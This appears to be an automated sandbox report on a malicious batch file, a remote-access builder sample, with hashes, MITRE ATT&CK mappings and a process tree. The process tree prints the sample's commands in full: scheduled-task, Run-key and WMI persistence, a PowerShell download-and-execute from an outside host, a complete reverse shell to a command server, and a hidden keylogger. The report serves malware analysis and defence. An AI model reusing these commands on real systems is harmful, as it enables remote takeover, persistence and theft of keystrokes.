47b94f80e0873084731cb2d65f98c6bf8087740ffd88acc81093c2c6fa680d7c

Analysis

user interaction
yes
max time kernel
1050s
max time network
466s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 00:43

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General

Target
rat_build_01839_014116.bat
Size 4KB
Sample260529-a3d4yafs21
SHA256 47b94f80e0873084731cb2d65f98c6bf8087740ffd88acc81093c2c6fa680d7c
MD5 8903ad43a43fe23996c205aa1f397ae3
SHA1 a4d0aeb2b22aba3c1b4543eb8aae4a430a1d2349
SHA512 8532d0a28a741b71e5076e2bd25b4b896f53e94cb1098c24e8bdad4b85e46f7b94656fea5ba3c4276c9b7e18e49705ddbeb0890b48ede1fc1f4681b26685c154
SSDEEP 96:vIvCPwWGne6U3dgz7JcUlyVnuhDJtpaw/rutBjNPgNR3iFgZk8mvlo1Nl6eAZg6j:vrPjGnerg7enMVGw6TNPSiFgkHlil6ln
TLSH
T1DDB108239B5B61208AB01759D9333858539CD5FB1340D98EFB4CCDD94A5DE43906C6F3
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_1839.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1344	powershell.exe
1884	powershell.exe
1212	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_1839 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_1839.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1404	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4180	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3440	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4256	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1344	powershell.exe
1344	powershell.exe
1884	powershell.exe
1884	powershell.exe
1884	powershell.exe
1212	powershell.exe
1212	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeSecurityPrivilege	556	WMIC.exe
Token: SeTakeOwnershipPrivilege	556	WMIC.exe
Token: SeLoadDriverPrivilege	556	WMIC.exe
Token: SeSystemProfilePrivilege	556	WMIC.exe
Token: SeSystemtimePrivilege	556	WMIC.exe
Token: SeProfSingleProcessPrivilege	556	WMIC.exe
Token: SeIncBasePriorityPrivilege	556	WMIC.exe
Token: SeCreatePagefilePrivilege	556	WMIC.exe
Token: SeBackupPrivilege	556	WMIC.exe
Token: SeRestorePrivilege	556	WMIC.exe
Token: SeShutdownPrivilege	556	WMIC.exe
Token: SeDebugPrivilege	556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	556	WMIC.exe
Token: SeRemoteShutdownPrivilege	556	WMIC.exe
Token: SeUndockPrivilege	556	WMIC.exe
Token: SeManageVolumePrivilege	556	WMIC.exe
Token: 33	556	WMIC.exe
Token: 34	556	WMIC.exe
Token: 35	556	WMIC.exe
Token: 36	556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	556	WMIC.exe
Token: SeSecurityPrivilege	556	WMIC.exe
Token: SeTakeOwnershipPrivilege	556	WMIC.exe
Token: SeLoadDriverPrivilege	556	WMIC.exe
Token: SeSystemProfilePrivilege	556	WMIC.exe
Token: SeSystemtimePrivilege	556	WMIC.exe
Token: SeProfSingleProcessPrivilege	556	WMIC.exe
Token: SeIncBasePriorityPrivilege	556	WMIC.exe
Token: SeCreatePagefilePrivilege	556	WMIC.exe
Token: SeBackupPrivilege	556	WMIC.exe
Token: SeRestorePrivilege	556	WMIC.exe
Token: SeShutdownPrivilege	556	WMIC.exe
Token: SeDebugPrivilege	556	WMIC.exe
Token: SeSystemEnvironmentPrivilege	556	WMIC.exe
Token: SeRemoteShutdownPrivilege	556	WMIC.exe
Token: SeUndockPrivilege	556	WMIC.exe
Token: SeManageVolumePrivilege	556	WMIC.exe
Token: 33	556	WMIC.exe
Token: 34	556	WMIC.exe
Token: 35	556	WMIC.exe
Token: 36	556	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1228	WMIC.exe
Token: SeSecurityPrivilege	1228	WMIC.exe
Token: SeTakeOwnershipPrivilege	1228	WMIC.exe
Token: SeLoadDriverPrivilege	1228	WMIC.exe
Token: SeSystemProfilePrivilege	1228	WMIC.exe
Token: SeSystemtimePrivilege	1228	WMIC.exe
Token: SeProfSingleProcessPrivilege	1228	WMIC.exe
Token: SeIncBasePriorityPrivilege	1228	WMIC.exe
Token: SeCreatePagefilePrivilege	1228	WMIC.exe
Token: SeBackupPrivilege	1228	WMIC.exe
Token: SeRestorePrivilege	1228	WMIC.exe
Token: SeShutdownPrivilege	1228	WMIC.exe
Token: SeDebugPrivilege	1228	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1228	WMIC.exe
Token: SeRemoteShutdownPrivilege	1228	WMIC.exe
Token: SeUndockPrivilege	1228	WMIC.exe
Token: SeManageVolumePrivilege	1228	WMIC.exe
Token: 33	1228	WMIC.exe
Token: 34	1228	WMIC.exe
Token: 35	1228	WMIC.exe
Token: 36	1228	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1228	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4808 wrote to memory of 4256	4808	cmd.exe	88
PID 4808 wrote to memory of 3440	4808	cmd.exe	89
PID 4808 wrote to memory of 556	4808	cmd.exe	90
PID 4808 wrote to memory of 1228	4808	cmd.exe	91
PID 4808 wrote to memory of 3488	4808	cmd.exe	93
PID 4808 wrote to memory of 4180	4808	cmd.exe	95
PID 4808 wrote to memory of 1404	4808	cmd.exe	100
PID 4808 wrote to memory of 1344	4808	cmd.exe	101
PID 4808 wrote to memory of 1884	4808	cmd.exe	104
PID 4808 wrote to memory of 1212	4808	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_01839_014116.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4808
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_1839" /tr "C:\Users\Admin\AppData\Local\Temp\_1839.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4256
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_1839" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_1839.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3440
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_1839", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:556
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_1839", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_1839.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1228
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_1839.txt
  2⤵
  PID:3488
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4180
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:1404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_1839.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1344
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1884
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1212

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b2c90200d19bd5cec74c54723099b3278d7826a51b39e3c473aa75bcdd69a98e
MD5 ecd4567ca365755aa44e253575935b0e
SHA1 79e9b8eb2ece03c270cba43035839a787fbc94a7
SHA512 1f2475967a74516d62507c00f115c8d9cd57eed47612112217ca98045cb8053f8a2f7de6372598fbd7b040d95ad4ed9cd782a2846dec09066045c8ecbb2a826c
TLSH
T164117627F39CC921CC96153A409DAC1172B683DB81AEDF9FAFC4D614A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a4ac24826eb103a467e682c7d3b174cc9219b36a0256db5a521657f953790670
MD5 53e133cedb8c015ea356c2cebfb38f47
SHA1 d6da1988a8a1260479812bcbfaa6ff1c19c87dca
SHA512 2946a8a65e3ae04ad5a7f3ff8a7cbc65f023e83072c48ec54e0100dc9e966d77398d014ad4b80ee43d70e3d5ad4ee961e0375baec8041db89a02377f80f46213
TLSH
T16D115727B39C89A1DC96163A409DAC1172B683D7419EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cuypd1v3.jlg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cuypd1v3.jlg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1212-33-0x000002457AC40000-0x000002457AE5C000-memory.dmp

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memory/1344-8-0x00000213B88F0000-0x00000213B8912000-memory.dmp

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memory/1884-23-0x000001B39A290000-0x000001B39A4AC000-memory.dmp

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